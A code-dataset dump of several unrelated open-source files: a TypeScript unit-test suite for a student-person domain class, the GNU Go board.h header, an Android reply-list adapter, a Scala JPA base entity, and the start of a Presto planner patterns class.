text:
import chai = require('chai');
//
import EtudPerson = require('../../../../../src/data/domain/etudperson');
//
var expect = chai.expect;
//
describe('EtudPerson Tests', function() {
  // empty constructor
  describe(" empty constructor", function() {
    var data;
    beforeEach(function() {
      data = new EtudPerson();
    });
    it(" id property ", function() {
      expect(data.id).to.not.exist;
      expect(data.has_id).to.be.false;
    });
    it(" rev property ", function() {
      expect(data.rev).to.not.exist;
      expect(data.has_rev).to.be.false;
    });
    it(" remarks property ", function() {
      expect(data.remarks).to.not.exist;
      expect(data.has_remarks).to.be.false;
    });
    it(" avatarid property ", function() {
      expect(data.avatarid).to.not.exist;
      expect(data.has_avatarid).to.be.false;
    });
    it(" username property ", function() {
      expect(data.username).to.not.exist;
      expect(data.has_username).to.be.false;
    });
    it(" password property ", function() {
      expect(data.password).to.not.exist;
      expect(data.has_password).to.be.false;
    });
    it(" firstname property ", function() {
      expect(data.firstname).to.not.exist;
      expect(data.has_firstname).to.be.false;
    });
    it(" lastname property ", function() {
      expect(data.lastname).to.not.exist;
      expect(data.has_lastname).to.be.false;
    });
    it(" fullname property ", function() {
      expect(data.fullname).to.not.exist;
      expect(data.has_fullname).to.be.false;
    });
    it(" email property ", function() {
      expect(data.email).to.not.exist;
      expect(data.has_email).to.be.false;
    });
    it(" phone property ", function() {
      expect(data.phone).to.not.exist;
      expect(data.has_phone).to.be.false;
    });
    it(" roles property ", function() {
      expect(data.roles).to.exist;
      expect(data.has_roles).to.be.true;
    });
    it(" infoids property ", function() {
      expect(data.infoids).to.exist;
      expect(data.has_infoids).to.be.false;
    });
    it(" groupeids property ", function() {
      expect(data.groupeids).to.exist;
      expect(data.has_groupeids).to.be.false;
    });
    it(" departementids property ", function() {
      expect(data.departementids).to.exist;
      expect(data.has_departementids).to.be.false;
    });
    it(" anneeids property ", function() {
      expect(data.anneeids).to.exist;
      expect(data.has_anneeids).to.be.false;
    });
    it(" semestreids property ", function() {
      expect(data.semestreids).to.exist;
      expect(data.has_semestreids).to.be.false;
    });
    it(" uniteids property ", function() {
      expect(data.uniteids).to.exist;
      expect(data.has_uniteids).to.be.false;
    });
    it(" matiereids property ", function() {
      expect(data.matiereids).to.exist;
      expect(data.has_matiereids).to.be.false;
    });
    it(" dossier property ", function() {
      expect(data.dossier).to.not.exist;
      expect(data.has_dossier).to.be.false;
    });
    it(" sexe property ", function() {
      expect(data.sexe).to.not.exist;
      expect(data.has_sexe).to.be.false;
    });
    it(" birthDate property ", function() {
      expect(data.birthDate).to.not.exist;
      expect(data.has_birthDate).to.be.false;
    });
    it(" etablissement property ", function() {
      expect(data.etablissement).to.not.exist;
      expect(data.has_etablissement).to.be.false;
    });
    it(" ville property ", function() {
      expect(data.ville).to.not.exist;
      expect(data.has_ville).to.be.false;
    });
    it(" serieBac property ", function() {
      expect(data.serieBac).to.not.exist;
      expect(data.has_serieBac).to.be.false;
    });
    it(" optionBac property ", function() {
      expect(data.optionBac).to.not.exist;
      expect(data.has_optionBac).to.be.false;
    });
    it(" mentionBac property ", function() {
      expect(data.mentionBac).to.not.exist;
      expect(data.has_mentionBac).to.be.false;
    });
    it(" etudesSuperieures property ", function() {
      expect(data.etudesSuperieures).to.not.exist;
      expect(data.has_etudesSuperieures).to.be.false;
    });
    it(" type property ", function() {
      expect(data.type).to.equal('etudperson');
    });
    it(" collection_name property ", function() {
      expect(data.collection_name).to.equal('persons');
    });
    it(" is_storeable property ", function() {
      expect(data.is_storeable).to.exist;
      expect(data.is_storeable).to.be.false;
    });
    it(" to_insert_map method ", function() {
      var oMap = {};
      expect(data.to_insert_map).to.exist;
      data.to_insert_map(oMap);
      expect(oMap).not.to.have.property('_id');
      expect(oMap).not.to.have.property('_rev');
      expect(oMap).not.to.have.property('remarks');
      expect(oMap).not.to.have.property('avatarid');
      expect(oMap).not.to.have.property('username');
      expect(oMap).not.to.have.property('password');
      expect(oMap).not.to.have.property('firstname');
      expect(oMap).not.to.have.property('lastname');
      expect(oMap).not.to.have.property('email');
      expect(oMap).not.to.have.property('phone');
      expect(oMap).to.have.property('roles');
      expect(oMap).to.have.property('infoids');
      expect(oMap).to.have.property('departementids');
      expect(oMap).to.have.property('anneeids');
      expect(oMap).to.have.property('semestreids');
      expect(oMap).to.have.property('uniteids');
      expect(oMap).to.have.property('matiereids');
    });
    it(" to_fetch_map method ", function() {
      var oMap = {};
      expect(data.to_fetch_map).to.exist;
      data.to_fetch_map(oMap);
      expect(oMap).not.to.have.property('_id');
      expect(oMap).not.to.have.property('_rev');
      expect(oMap).not.to.have.property('remarks');
      expect(oMap).not.to.have.property('avatarid');
      expect(oMap).not.to.have.property('departementid');
      expect(oMap).not.to.have.property('username');
      expect(oMap).not.to.have.property('password');
      expect(oMap).not.to.have.property('firstname');
      expect(oMap).not.to.have.property('lastname');
      expect(oMap).not.to.have.property('email');
      expect(oMap).not.to.have.property('phone');
      expect(oMap).not.to.have.property('dossier');
      expect(oMap).not.to.have.property('sexe');
      expect(oMap).not.to.have.property('birthDate');
      expect(oMap).not.to.have.property('etablissement');
      expect(oMap).not.to.have.property('ville');
      expect(oMap).not.to.have.property('serieBac');
      expect(oMap).not.to.have.property('optionBac');
      expect(oMap).not.to.have.property('mentionBac');
      expect(oMap).not.to.have.property('etudesSuperieures');
      expect(oMap).to.have.property('roles', null);
      expect(oMap).to.have.property('infoids', null);
      expect(oMap).to.have.property('departementids', null);
      expect(oMap).to.have.property('anneeids', null);
      expect(oMap).to.have.property('semestreids', null);
      expect(oMap).to.have.property('uniteids', null);
      expect(oMap).to.have.property('matiereids', null);
    });
  });
  // normal constructor
  describe(" normal constructor", function() {
    var data;
    beforeEach(function() {
      data = new EtudPerson({
        _id: 12, _rev: 3,
        remarks: 'rem', avatarid: 5,
        username: 'TESTUSERNAME',
        password: 'testPassword',
        firstname: 'TESTFIRSTNAME',
        lastname: 'testlastname',
        email: 'testemail',
        phone: 'testphone',
        roles: ['etud'],
        dossier: 'testdossier',
        sexe: 'masculin',
        birthDate: new Date(1990, 5, 12),
        etablissement: 'testetablissement',
        ville: 'testville',
        serieBac: 'testseriebac',
        optionBac: 'testoptionbac',
        mentionBac: 'testmentionbac',
        etudesSuperieures: 'testsup',
        infoids: [1000, 2000],
        departementids: [1000, 2000],
        anneeids: [1000, 2000],
        semestreids: [1000, 2000],
        groupeids: [1000, 2000],
        uniteids: [1000, 2000],
        matiereids: [1000, 2000]
      });
    });
    it(" id property ", function() {
      expect(data.id).to.equal(12);
      expect(data.has_id).to.be.true;
    });
    it(" rev property ", function() {
      expect(data.rev).to.equal(3);
      expect(data.has_rev).to.be.true;
    });
    it(" remarks property ", function() {
      expect(data.remarks).to.equal('rem');
      expect(data.has_remarks).to.be.true;
    });
    it(" avatarid property ", function() {
      expect(data.avatarid).to.equal(5);
      expect(data.has_avatarid).to.be.true;
    });
    it(" username property ", function() {
      expect(data.username).to.equal('testusername');
      expect(data.has_username).to.be.true;
    });
    it(" password property ", function() {
      expect(data.password).to.equal('testPassword');
      expect(data.has_password).to.be.true;
    });
    it(" firstname property ", function() {
      expect(data.firstname).to.equal('Testfirstname');
      expect(data.has_firstname).to.be.true;
    });
    it(" lastname property ", function() {
      expect(data.lastname).to.equal('TESTLASTNAME');
      expect(data.has_lastname).to.be.true;
    });
    it(" fullname property ", function() {
      expect(data.fullname).to.equal('TESTLASTNAME Testfirstname');
      expect(data.has_fullname).to.be.true;
    });
    it(" email property ", function() {
      expect(data.email).to.equal('testemail');
      expect(data.has_email).to.be.true;
    });
    it(" phone property ", function() {
      expect(data.phone).to.equal('testphone');
      expect(data.has_phone).to.be.true;
    });
    it(" dossier property ", function() {
      expect(data.dossier).to.equal('testdossier');
      expect(data.has_dossier).to.be.true;
    });
    it(" sexe property ", function() {
      expect(data.sexe).to.equal('masculin');
      expect(data.has_sexe).to.be.true;
    });
    it(" etablissement property ", function() {
      expect(data.etablissement).to.equal('testetablissement');
      expect(data.has_etablissement).to.be.true;
    });
    it(" ville property ", function() {
      expect(data.ville).to.equal('testville');
      expect(data.has_ville).to.be.true;
    });
    it(" serieBac property ", function() {
      expect(data.serieBac).to.equal('testseriebac');
      expect(data.has_serieBac).to.be.true;
    });
    it(" optionBac property ", function() {
      expect(data.optionBac).to.equal('testoptionbac');
      expect(data.has_optionBac).to.be.true;
    });
    it(" mentionBac property ", function() {
      expect(data.mentionBac).to.equal('testmentionbac');
      expect(data.has_sexe).to.be.true;
    });
    it(" birthDate property ", function() {
      expect(data.has_birthDate).to.be.true;
    });
    it(" etudesSuperieures property ", function() {
      expect(data.etudesSuperieures).to.equal('testsup');
      expect(data.has_etudesSuperieures).to.be.true;
    });
    it(" roles property ", function() {
      expect(data.roles).to.exist;
      expect(data.has_roles).to.be.true;
    });
    it(" infoids property ", function() {
      expect(data.infoids).to.exist;
      expect(data.has_infoids).to.be.true;
    });
    it(" groupeids property ", function() {
      expect(data.groupeids).to.exist;
      expect(data.has_groupeids).to.be.true;
    });
    it(" departementids property ", function() {
      expect(data.departementids).to.exist;
      expect(data.has_departementids).to.be.true;
    });
    it(" anneeids property ", function() {
      expect(data.anneeids).to.exist;
      expect(data.has_anneeids).to.be.true;
    });
    it(" semestreids property ", function() {
      expect(data.semestreids).to.exist;
      expect(data.has_semestreids).to.be.true;
    });
    it(" uniteids property ", function() {
      expect(data.uniteids).to.exist;
      expect(data.has_uniteids).to.be.true;
    });
    it(" matiereids property ", function() {
      expect(data.matiereids).to.exist;
      expect(data.has_matiereids).to.be.true;
    });
    it(" type property ", function() {
      expect(data.type).to.equal('etudperson');
    });
    it(" collection_name property ", function() {
      expect(data.collection_name).to.equal('persons');
    });
    it(" is_storeable property ", function() {
      expect(data.is_storeable).to.exist;
      expect(data.is_storeable).to.be.true;
    });
    it(" to_insert_map method ", function() {
      var oMap = {};
      expect(data.to_insert_map).to.exist;
      data.to_insert_map(oMap);
      expect(oMap).not.to.have.property('_id');
      expect(oMap).not.to.have.property('_rev');
      expect(oMap).to.have.property('remarks', 'rem');
      expect(oMap).to.have.property('avatarid', 5);
      expect(oMap).to.have.property('username', 'testusername');
      expect(oMap).to.have.property('password', 'testPassword');
      expect(oMap).to.have.property('firstname', 'Testfirstname');
      expect(oMap).to.have.property('lastname', 'TESTLASTNAME');
      expect(oMap).to.have.property('email', 'testemail');
      expect(oMap).to.have.property('phone', 'testphone');
      expect(oMap).to.have.property('dossier', 'testdossier');
      expect(oMap).to.have.property('sexe', 'masculin');
      expect(oMap).to.have.property('birthDate');
      expect(oMap).to.have.property('etablissement', 'testetablissement');
      expect(oMap).to.have.property('ville', 'testville');
      expect(oMap).to.have.property('serieBac', 'testseriebac');
      expect(oMap).to.have.property('optionBac', 'testoptionbac');
      expect(oMap).to.have.property('mentionBac', 'testmentionbac');
      expect(oMap).to.have.property('etudesSuperieures', 'testsup');
      expect(oMap).to.have.property('roles');
      expect(oMap).to.have.property('infoids');
      expect(oMap).to.have.property('departementids');
      expect(oMap).to.have.property('anneeids');
      expect(oMap).to.have.property('semestreids');
      expect(oMap).to.have.property('uniteids');
      expect(oMap).to.have.property('matiereids');
    });
    it(" to_fetch_map method ", function() {
      var oMap = {};
      expect(data.to_fetch_map).to.exist;
      data.to_fetch_map(oMap);
      expect(oMap).to.have.property('_id', 12);
      expect(oMap).to.have.property('_rev', 3);
      expect(oMap).to.have.property('remarks', 'rem');
      expect(oMap).to.have.property('avatarid', 5);
      expect(oMap).to.have.property('username', 'testusername');
      expect(oMap).to.have.property('password', 'testPassword');
      expect(oMap).to.have.property('firstname', 'Testfirstname');
      expect(oMap).to.have.property('lastname', 'TESTLASTNAME');
      expect(oMap).to.have.property('email', 'testemail');
      expect(oMap).to.have.property('phone', 'testphone');
      expect(oMap).to.have.property('dossier', 'testdossier');
      expect(oMap).to.have.property('sexe', 'masculin');
      expect(oMap).to.have.property('birthDate');
      expect(oMap).to.have.property('etablissement', 'testetablissement');
      expect(oMap).to.have.property('ville', 'testville');
      expect(oMap).to.have.property('serieBac', 'testseriebac');
      expect(oMap).to.have.property('optionBac', 'testoptionbac');
      expect(oMap).to.have.property('mentionBac', 'testmentionbac');
      expect(oMap).to.have.property('etudesSuperieures', 'testsup');
      expect(oMap).to.have.property('roles', null);
      expect(oMap).to.have.property('infoids', null);
      expect(oMap).to.have.property('departementids', null);
      expect(oMap).to.have.property('anneeids', null);
      expect(oMap).to.have.property('semestreids', null);
      expect(oMap).to.have.property('uniteids', null);
      expect(oMap).to.have.property('matiereids', null);
    });
  });
});


text:
#ifndef _BOARD_H_
#define _BOARD_H_

#include <stdarg.h>
#include "config.h"
#include "sgftree.h"
#include "winsocket.h"

/* This type is used to store each intersection on the board.
 *
 * On a 486, char is best, since the time taken to push and pop
 * becomes significant otherwise. On other platforms, an int may
 * be better, e.g. if memcpy() is particularly fast, or if
 * character access is very slow.
 */

typedef unsigned char Intersection;

/* FIXME: This is very ugly but we can't include hash.h until we have
 * defined Intersection. And we do need to include it before using
 * Hash_data.
 */
#include "hash.h"

/* local versions of absolute value, min and max */

#define gg_abs(x) ((x) < 0 ? -(x) : (x))
#define gg_min(a, b) ((a)<(b) ? (a) : (b))
#define gg_max(a, b) ((a)<(b) ? (b) : (a))

/* Avoid compiler warnings with unused parameters */
#define UNUSED(x)  (void)x

/* A string with n stones can have at most 2(n+1) liberties. From this
 * follows that an upper bound on the number of liberties of a string
 * on a board of size N^2 is 2/3 (N^2+1).
 */
#define MAXLIBS   (2*(MAX_BOARD*MAX_BOARD + 1)/3)
/* This is a smaller, practical number of liberties that we care to keep track of. */
#define MAX_LIBERTIES 8

/* This is an upper bound on the number of strings that can exist on
 * the board simultaneously. Since each string must have at least one
 * liberty and each empty point can provide a liberty to at most four
 * strings, at least one out of five board points must be empty.
 *
 * FIXME: This is not sufficiently large. Above stackp==0, the
 *        incremental board code doesn't re-use the entries for
 *        removed or merged strings, while new strings require new
 *        entries. This is a problem only in very pathological cases,
 *        and is extremely unlikely to occur in practice.
 *
 *        Actually, in the not all that pathological case of a
 *        repeated triple ko cycle, each move creates a new string and
 *        thus makes use of one more string, which relatively quickly
 *        will exhaust the available strings. For a safe upper bound
 *        MAX_STRINGS should be set to
 *        MAX_STACK + 4 * MAX_BOARD * MAX_BOARD / 5.
 *        It's not clear that it's worth the extra memory, however.
 */
#define MAX_STRINGS (4 * MAX_BOARD * MAX_BOARD / 5)

/* Per gf: Unconditional_life() can get very close to filling the
 * entire board under certain circumstances. This was discussed in
 * the list around August 21, 2001, in a thread with the subject
 * "gnugo bug logs".
 */
#define MAXSTACK  MAX_BOARD * MAX_BOARD
#define MAXCHAIN  160

#define HASH_RANDOM_SEED 12345

/* ================================================================ *
 *                         One-dimensional board                    *
 * ================================================================ */

/* Board sizes */

#define MIN_BOARD          1       /* Minimum supported board size.   */
#define MAX_BOARD         19       /* Maximum supported board size.   */
#define MAX_HANDICAP       9       /* Maximum supported handicap.     */
#define MAX_MOVE_HISTORY 500       /* Max number of moves remembered. */

#define DEFAULT_BOARD_SIZE MAX_BOARD

/* Colors and komaster states. */
enum colors {
  EMPTY,
  WHITE,
  BLACK,
  GRAY,
  GRAY_WHITE,
  GRAY_BLACK,
  WEAK_KO,
  NUM_KOMASTER_STATES
};

#define COLOR_NAMES \
  "empty", \
  "white", \
  "black", \
  "gray", \
  "gray_white", \
  "gray_black", \
  "weak_ko"

const char *color_to_string(int color);

#define OTHER_COLOR(color)      (WHITE+BLACK-(color))
#define IS_STONE(arg)           ((arg) == WHITE || (arg) == BLACK)

/* Note that POS(-1, -1) == 0
 * DELTA() is defined so that POS(i+di, j+dj) = POS(i, j) + DELTA(di, dj).
 */
#define BOARDSIZE     ((MAX_BOARD + 2) * (MAX_BOARD + 1) + 1)
#define BOARDMIN      (MAX_BOARD + 2)
#define BOARDMAX      (MAX_BOARD + 1) * (MAX_BOARD + 1)
#define POS(i, j)     ((MAX_BOARD + 2) + (i) * (MAX_BOARD + 1) + (j))
#define DELTA(di, dj) ((di) * (MAX_BOARD + 1) + (dj))
#define I(pos)        ((pos) / (MAX_BOARD + 1) - 1)
#define J(pos)        ((pos) % (MAX_BOARD + 1) - 1)
#define PASS_MOVE     0
#define NO_MOVE       PASS_MOVE
#define NS            (MAX_BOARD + 1)
#define WE            1
#define SOUTH(pos)    ((pos) + NS)
#define WEST(pos)     ((pos) - 1)
#define NORTH(pos)    ((pos) - NS)
#define EAST(pos)     ((pos) + 1)
#define SW(pos)       ((pos) + NS - 1)
#define NW(pos)       ((pos) - NS - 1)
#define NE(pos)       ((pos) - NS + 1)
#define SE(pos)       ((pos) + NS + 1)
#define SS(pos)       ((pos) + 2 * NS)
#define WW(pos)       ((pos) - 2)
#define NN(pos)       ((pos) - 2 * NS)
#define EE(pos)       ((pos) + 2)

#define DIRECT_NEIGHBORS(pos1, pos2)		\
  ((pos1) == SOUTH(pos2)			\
   || (pos1) == WEST(pos2)			\
   || (pos1) == NORTH(pos2)			\
   || (pos1) == EAST(pos2))

#define DIAGONAL_NEIGHBORS(pos1, pos2)		\
  ((pos1) == SW(pos2)				\
   || (pos1) == NW(pos2)			\
   || (pos1) == NE(pos2)			\
   || (pos1) == SE(pos2))

#define BOARD(i, j)   board[POS(i, j)]

#define MIRROR_MOVE(pos) POS(board_size - 1 - I(pos), board_size - 1 - J(pos))

/* ================================================================ */
/*                         global variables                         */
/* ================================================================ */

/* The board and the other parameters deciding the current position. */
extern int          board_size;             /* board size (usually 19) */
extern Intersection board[BOARDSIZE];       /* go board */
extern int          board_ko_pos;
extern int          black_captured;   /* num. of black stones captured */
extern int          white_captured;

extern Intersection initial_board[BOARDSIZE];
extern int          initial_board_ko_pos;
extern int          initial_white_captured;
extern int          initial_black_captured;
extern int          move_history_color[MAX_MOVE_HISTORY];
extern int          move_history_pos[MAX_MOVE_HISTORY];
extern Hash_data    move_history_hash[MAX_MOVE_HISTORY];
extern int          move_history_pointer;

extern float        komi;
extern int          handicap;     /* used internally in chinese scoring */
extern int          movenum;      /* movenumber - used for debug output */

extern signed char  shadow[BOARDMAX];      /* reading tree shadow */

enum suicide_rules {
  FORBIDDEN,
  ALLOWED,
  ALL_ALLOWED
};
extern enum suicide_rules suicide_rule;

enum ko_rules {
  SIMPLE,
  NONE,
  PSK,
  SSK
};
extern enum ko_rules ko_rule;

extern int stackp;                /* stack pointer */
extern int count_variations;      /* count (decidestring) */
extern SGFTree *sgf_dumptree;

/* This struct holds the internal board state. */
struct board_state {
  int board_size;

  Intersection board[BOARDSIZE];
  int board_ko_pos;
  int black_captured;
  int white_captured;

  Intersection initial_board[BOARDSIZE];
  int initial_board_ko_pos;
  int initial_white_captured;
  int initial_black_captured;
  int move_history_color[MAX_MOVE_HISTORY];
  int move_history_pos[MAX_MOVE_HISTORY];
  Hash_data move_history_hash[MAX_MOVE_HISTORY];
  int move_history_pointer;

  float komi;
  int handicap;
  int move_number;
};

/* This is increased by one anytime a move is (permanently) played or
 * the board is cleared.
 */
extern int position_number;

/* ================================================================ */
/*                        board.c functions                         */
/* ================================================================ */

/* Functions handling the permanent board state. */
void clear_board(void);
int test_gray_border(void);
void setup_board(Intersection new_board[MAX_BOARD][MAX_BOARD], int ko_pos,
                 int *last, float new_komi, int w_captured, int b_captured);
void add_stone(int pos, int color);
void remove_stone(int pos);
void play_move(int pos, int color);
int undo_move(int n);

void store_board(struct board_state *state);
void restore_board(struct board_state *state);

/* Information about the permanent board. */
int get_last_move(void);
int get_last_player(void);
int get_last_opponent_move(int color);
int stones_on_board(int color);

/* Functions handling the variable board state. */
int trymove(int pos, int color, const char *message, int str);
int tryko(int pos, int color, const char *message);
void popgo(void);
int komaster_trymove(int pos, int color,
		     const char *message, int str,
		     int *is_conditional_ko, int consider_conditional_ko);
int get_komaster(void);
int get_kom_pos(void);

int move_in_stack(int pos, int cutoff);
void get_move_from_stack(int k, int *move, int *color);
void dump_stack(void);
void do_dump_stack(void);

void reset_trymove_counter(void);
int get_trymove_counter(void);

/* move properties */
int is_pass(int pos);
int is_legal(int pos, int color);
int is_suicide(int pos, int color);
int is_illegal_ko_capture(int pos, int color);
int is_allowed_move(int pos, int color);
int is_ko(int pos, int color, int *ko_pos);
int is_ko_point(int pos);
int does_capture_something(int pos, int color);
int is_self_atari(int pos, int color);

/* Purely geometric functions. */
int is_edge_vertex(int pos);
int is_corner_vertex(int pos);
int edge_distance(int pos);
int square_dist(int pos1, int pos2);
int rotate1(int pos, int rot);

/* Basic string information. */
int find_origin(int str);
int chainlinks(int str, int adj[MAXCHAIN]);
int chainlinks2(int str, int adj[MAXCHAIN], int lib);
int chainlinks3(int str, int adj[MAXCHAIN], int lib);
int extended_chainlinks(int str, int adj[MAXCHAIN], int both_colors);

int liberty_of_string(int pos, int str);
int second_order_liberty_of_string(int pos, int str);
int neighbor_of_string(int pos, int str);
int has_neighbor(int pos, int color);
int same_string(int str1, int str2);
int adjacent_strings(int str1, int str2);
void mark_string(int str, signed char mx[BOARDMAX], signed char mark);
int are_neighbors(int pos1, int pos2);

/* Count and/or find liberties at (pos). */
int countlib(int str);
int findlib(int str, int maxlib, int *libs);
int fastlib(int pos, int color, int ignore_captures);
int approxlib(int pos, int color, int maxlib, int *libs);
int accuratelib(int pos, int color, int maxlib, int *libs);
int count_common_libs(int str1, int str2);
int find_common_libs(int str1, int str2, int maxlib, int *libs);
int have_common_lib(int str1, int str2, int *lib);

/* Count the number of stones in a string. */
int countstones(int str);
int findstones(int str, int maxstones, int *stones);
int count_adjacent_stones(int str1, int str2, int maxstones);

/* Detect a special shape. */
int send_two_return_one(int move, int color);

/* Special function for reading.c */
void incremental_order_moves(int move, int color, int string,
			     int *number_edges, int *number_same_string,
			     int *number_own, int *number_opponent,
			     int *captured_stones, int *threatened_stones,
			     int *saved_stones, int *number_open);

/* Board caches initialization functions. */
void clear_approxlib_cache(void);
void clear_accuratelib_cache(void);

/* Is this point inside the board? */
#if 0
#define ON_BOARD2(i, j) ((i)>=0 && (j)>=0 && (i)<board_size && (j)<board_size)
#else
/*
 * For the case when expr can only be slightly negative,
 *    if (expr < 0 || expr > something)
 * is equivalent to
 *    if ((unsigned) expr > something)
 *
 * (I think gcc knows this trick, but it does no harm to
 *  encode it explicitly since it saves typing !)
 */
#define ON_BOARD2(i, j) ((unsigned) (i) < (unsigned) board_size &&\
		         (unsigned) (j) < (unsigned) board_size)
#endif

#define ASSERT_ON_BOARD2(i, j) ASSERT2(ON_BOARD2((i), (j)), (i), (j))

#define ON_BOARD1(pos) (((unsigned) (pos) < BOARDSIZE) && board[pos] != GRAY)
#define ON_BOARD(pos) (board[pos] != GRAY)
#define ASSERT_ON_BOARD1(pos) ASSERT1(ON_BOARD1(pos), (pos))

/* Coordinates for the eight directions, ordered
 * south, west, north, east, southwest, northwest, northeast, southeast.
 * Defined in board.c.
 */
extern int deltai[8]; /* = { 1,  0, -1,  0,  1, -1, -1, 1}; */
extern int deltaj[8]; /* = { 0, -1,  0,  1, -1, -1,  1, 1}; */
extern int delta[8];  /* = { NS, -1, -NS, 1, NS-1, -NS-1, -NS+1, NS+1}; */

/* ================================================================ */
/*                          Other functions                         */
/* ================================================================ */

/* SGF routines for debugging purposes in sgffile.c */
void sgffile_begindump(struct SGFTree_t *tree);
void sgffile_enddump(const char *filename);

/* Hashing and Caching statistics. */
struct stats_data {
  int nodes;                     /* Number of visited nodes while reading */
  int read_result_entered;       /* Number of read results entered. */
  int read_result_hits;          /* Number of hits of read results. */
  int trusted_read_result_hits;  /* Number of hits of read results   */
                                 /* with sufficient remaining depth. */
};

extern struct stats_data stats;

/* printutils.c */
int gprintf(const char *fmt, ...);
void vgprintf(FILE *outputfile, const char *fmt, va_list ap);
void mprintf(const char *fmt, ...);
void gfprintf(FILE *outfile, const char *fmt, ...);

const char *color_to_string(int color);
const char *location_to_string(int pos);
void location_to_buffer(int pos, char *buf);

int string_to_location(int boardsize, const char *str);

int is_hoshi_point(int m, int n);
void draw_letter_coordinates(FILE *outfile);
void simple_showboard(FILE *outfile);

void mark_goal_in_sgf(signed char goal[BOARDMAX]);

/* ================================================================ */
/*                         assertions                               */
/* ================================================================ */

/* Our own abort() which prints board state on the way out.
 * (pos) is a "relevant" board position for info.
 */
void abortgo(const char *file, int line, const char *msg, int pos)
#ifdef __GNUC__
	__attribute__ ((noreturn))
#endif
	;

#ifdef GG_TURN_OFF_ASSERTS
#define ASSERT2(x, i, j)
#define ASSERT1(x, pos)
#else
/* avoid dangling else */
/* FIXME: Should probably re-write these using do {...} while (0) idiom. */
#define ASSERT2(x, i, j) if (x) ; else abortgo(__FILE__, __LINE__, #x, POS(i, j))
#define ASSERT1(x, pos) if (x) ; else abortgo(__FILE__, __LINE__, #x, pos)
#endif

#define gg_assert(x) ASSERT1(x, NO_MOVE)

/* Are we using valgrind memory checking? */
#if USE_VALGRIND
#include <valgrind/memcheck.h>
#else
#define VALGRIND_MAKE_WRITABLE(a, b)
#endif

#endif  /* _BOARD_H_ */

/*
 * Local Variables:
 * tab-width: 8
 * c-basic-offset: 2
 * End:
 */

redpajama_set_name: RedPajamaGithub


text:
package com.xguokr.adapter;

import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;

import com.squareup.picasso.Picasso;
import com.xguokr.bean.ReplyItem;
import com.xguokr.util.NetUtil;
import com.xguokr.view.TTextView;
import com.xguokr.xguokr.R;

import java.util.ArrayList;

/**
 * Created  on 2015/12/13.
 */
public class KexuerenArticleReplyAdapter extends RecyclerView.Adapter {

    private ArrayList<ReplyItem> data;
    private Context context;
    private onItemClickListener onItemClickListener;
    private boolean downloadPic = false;

    public void setData(ArrayList<ReplyItem> data) {
        this.data = data;
    }

    public KexuerenArticleReplyAdapter(Context context, ArrayList<ReplyItem> data, KexuerenArticleReplyAdapter.onItemClickListener onItemClickListener) {
        super();
        this.data = data;
        this.context = context;
        this.onItemClickListener = onItemClickListener;
        downloadPic = NetUtil.isDownLoadImg(context);
    }

    @Override
    public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
        //XGUtil.LogUitl(getClass().getName() + "  onCreateViewHolder" );
        return new GARViewHolder(LayoutInflater.from(parent.getContext()).inflate(R.layout.cell_kexuerenarticlereply,null),onItemClickListener);
    }

    @Override
    public void onBindViewHolder(RecyclerView.ViewHolder holder, final int position) {
        final GARViewHolder vh = (GARViewHolder) holder;
        vh.getAuthorNickname().setText(data.get(position).getAuthor_Nickename());
        vh.getFloor().setText((position + 1) + "楼");
        vh.getPubTime().setText(data.get(position).getDate_created());
        vh.getHtml().loadHtml(data.get(position).getHtml());
        if (downloadPic){
            Picasso.with(context).load(data.get(position).getAuthor_avatar()).into(vh.getAuthorvatar());
        }else{
            vh.getAuthorvatar().setImageResource(R.drawable.default_image);
        }

    }

    @Override
    public int getItemCount() {
        return data.size();
    }

    private class GARViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{

        private ImageView authorvatar;
        private TextView authorNickname;
        private TextView pubTime;
        private TextView floor;
        // private WebView html;
        //private TextView html;
        private TTextView html;
        private KexuerenArticleReplyAdapter.onItemClickListener onItemClickListener;

        public GARViewHolder(View itemView,KexuerenArticleReplyAdapter.onItemClickListener onItemClickListener) {
            super(itemView);
            this.onItemClickListener = onItemClickListener;
            authorvatar = (ImageView) itemView.findViewById(R.id.imageview_authoravatar_cell_kexuerenarticlereply);
            authorNickname = (TextView) itemView.findViewById(R.id.textview_authornickname_cell_kexuerenarticlereply);
            pubTime = (TextView) itemView.findViewById(R.id.textview_pubtime_cell_kexuerenarticlereply);
            floor = (TextView) itemView.findViewById(R.id.textview_floor_cell_kexuerenarticlereply);
            //html = (WebView) itemView.findViewById(R.id.webview_content_cell_grouparticlereply);
            html = (TTextView) itemView.findViewById(R.id.textview_content_cell_grouparticlereply);
            itemView.setOnClickListener(this);
        }

        public ImageView getAuthorvatar() {
            return authorvatar;
        }

        public TextView getAuthorNickname() {
            return authorNickname;
        }

        public TextView getPubTime() {
            return pubTime;
        }

        public TextView getFloor() {
            return floor;
        }

        public TTextView getHtml() {
            return html;
        }

        @Override
        public void onClick(View v) {
            if (onItemClickListener != null) onItemClickListener.onItemClick(getAdapterPosition());
        }
    }

    public interface onItemClickListener{
        void onItemClick(int position);
    }
}


text:
package msglnk.data

import javax.persistence.{Id, GeneratedValue, MappedSuperclass}
import java.lang.Long
import scala.reflect.BeanProperty

@MappedSuperclass
class BaseEntity {

    @Id
    @GeneratedValue
    @BeanProperty
    var uid: Long = _

    override def equals(that: Any): Boolean = {
        that.isInstanceOf[BaseEntity] && this.hashCode() == that.asInstanceOf[BaseEntity].hashCode()
    }

    override def hashCode: Int = {
        if (uid == null) 0 else uid.hashCode
    }

}


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package io.prestosql.sql.planner.plan;

import io.prestosql.matching.Pattern;
import io.prestosql.matching.Property;
import io.prestosql.sql.planner.Symbol;
import io.prestosql.sql.planner.iterative.Lookup;
import io.prestosql.sql.tree.Expression;

import java.util.List;
import java.util.Optional;

import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.common.collect.Iterables.getOnlyElement;
import static io.prestosql.matching.Pattern.typeOf;
import static io.prestosql.matching.Property.optionalProperty;
import static io.prestosql.matching.Property.property;

public class Patterns
{
    private Patterns() {}

